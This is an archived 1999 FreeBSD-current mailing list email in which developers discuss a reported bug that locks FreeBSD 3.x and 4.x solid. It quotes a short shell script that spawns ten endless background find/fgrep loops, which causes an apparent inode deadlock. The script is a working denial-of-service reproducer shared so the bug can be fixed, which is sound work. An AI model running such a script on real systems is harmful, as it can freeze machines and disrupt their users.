Date: Tue, 09 Mar 1999 09:48:39 -0500 From: Mike Tancsa <mike@sentex.net> To: Matthew Dillon <dillon@apollo.backplane.com>, Chris Costello <chris@holly.dyndns.org>, current@FreeBSD.ORG Subject: Re: Simple DOS against 3.x locks box solid Message-ID: <3.0.5.32.19990309094839.042b93e0@staff.sentex.ca> In-Reply-To: <199903050035.QAA33521@apollo.backplane.com> References: <4.1.19990304073656.084804e0@granite.sentex.ca> <19990304155401.A5710@holly.dyndns.org> <199903050022.QAA32802@apollo.backplane.com>
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At 04:35 PM 3/4/99 -0800, Matthew Dillon wrote: > Well, this was easy to duplicate. I'll try to track it down. It seems > to occur under -4.x as well as -3.x. Definitely an inode deadlock of some > kind. > > -Matt > >: Try changing the 'find' to 'find -x'. If this still locks up the machine >: we will have to then determine whether it occurs under 4.x as well, or >: if it only occurs under 3.x. >: -Matt >: >::> As posted by yk@dgtu.donetsk.ua >::> > >::> >This script freeze my 3.1-RELEASE box. >::> >I can't make any connection with my box, also from console. >::> > >::> >-------- cut here --- >::> >#! /bin/sh >::> > >::> >for j in 1 2 3 4 5 6 7 8 9 10 >::> >do >::> >echo -n $j >::> >nohup sh -c 'while :; do find / -type file |xargs fgrep fticom; done' >::> >/dev/null 2>&1 & >::> >echo >::> >done >::> >--------- cut here ---- >::> > >::> >-- >::> >Yury V. Yaroshevsky | Donetsk State Technical University >::> >YY18-RIPE | (380 622) 356455 yk@dgtu.donetsk.ua > > ------------------------------------------------------------------------ Mike Tancsa, tel 01.519.651.3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message
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